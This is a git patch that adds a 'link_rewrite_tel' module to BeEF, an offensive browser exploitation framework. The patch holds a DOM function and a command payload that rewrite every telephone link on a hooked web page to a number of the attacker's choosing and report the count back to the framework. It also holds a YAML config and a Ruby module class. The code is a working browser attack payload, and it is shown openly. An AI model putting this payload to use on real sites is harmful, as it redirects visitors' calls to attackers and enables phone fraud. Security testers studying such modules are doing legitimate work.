From ab588c0f6816e87f03ee79c5f33cd108b41691be Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Sun, 2 Sep 2012 16:58:43 +0930
Subject: [PATCH] Add link_rewrite_tel module

Fixes issue #721
---
 core/main/client/dom.js                       | 25 +++++++++++++++++
 .../hooked_domain/link_rewrite_tel/command.js | 24 ++++++++++++++++
 .../link_rewrite_tel/config.yaml              | 25 +++++++++++++++++
 .../hooked_domain/link_rewrite_tel/module.rb  | 28 +++++++++++++++++++
 4 files changed, 102 insertions(+)
 create mode 100644 modules/browser/hooked_domain/link_rewrite_tel/command.js
 create mode 100644 modules/browser/hooked_domain/link_rewrite_tel/config.yaml
 create mode 100644 modules/browser/hooked_domain/link_rewrite_tel/module.rb

diff --git a/core/main/client/dom.js b/core/main/client/dom.js
index 387b514bf..4cb0c2cba 100644
--- a/core/main/client/dom.js
+++ b/core/main/client/dom.js
@@ -194,6 +194,31 @@ beef.dom = {
 		return count;
 	},
 
+	/**
+	 * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
+	 * @param: {String} new_number: the new link telephone number to be written
+	 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return: {Number} the amount of links found in the DOM and rewritten.
+	 */
+	rewriteTelLinks: function(new_number, selector) {
+
+		var count = 0;
+		var re = new RegExp("tel:/?/?.*", "gi");
+		var sel = (selector == null) ? 'a' : selector;
+
+		$j(sel).each(function() {
+			if ($j(this).attr('href') != null) {
+				var url = $j(this).attr('href');
+				if (url.match(re)) {
+					$j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
+					count++;
+				}
+			}
+		});
+
+		return count;
+	},
+
     /**
      *  Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
      * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
diff --git a/modules/browser/hooked_domain/link_rewrite_tel/command.js b/modules/browser/hooked_domain/link_rewrite_tel/command.js
new file mode 100644
index 000000000..d51007a95
--- /dev/null
+++ b/modules/browser/hooked_domain/link_rewrite_tel/command.js
@@ -0,0 +1,24 @@
+//
+//   Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+
+	var tel_number = "<%= @tel_number %>";
+	var selector   = "a";
+
+	beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteTelLinks(tel_number, selector)+' telephone (tel) links rewritten to '+tel_number);
+
+});
+
diff --git a/modules/browser/hooked_domain/link_rewrite_tel/config.yaml b/modules/browser/hooked_domain/link_rewrite_tel/config.yaml
new file mode 100644
index 000000000..68618861e
--- /dev/null
+++ b/modules/browser/hooked_domain/link_rewrite_tel/config.yaml
@@ -0,0 +1,25 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+beef:
+    module:
+        link_rewrite_tel:
+            enable: true
+            category: ["Browser", "Hooked Domain"]
+            name: "Replace HREFs (TEL)"
+            description: "This module will rewrite all the href attributes of telephone links (ie, tel:5558585) to call a number of your choice."
+            authors: ["bcoles"]
+            target:
+                working: ["ALL"]
diff --git a/modules/browser/hooked_domain/link_rewrite_tel/module.rb b/modules/browser/hooked_domain/link_rewrite_tel/module.rb
new file mode 100644
index 000000000..929c62356
--- /dev/null
+++ b/modules/browser/hooked_domain/link_rewrite_tel/module.rb
@@ -0,0 +1,28 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+class Link_rewrite_tel < BeEF::Core::Command
+
+  def self.options
+    return [
+      { 'ui_label'=>'Number', 'name'=>'tel_number', 'description' => 'New telephone number', 'value'=>'5558585', 'width'=>'200px' }
+    ]
+  end
+  
+  def post_execute
+    save({'result' => @datastore['result']})
+  end
+  
+end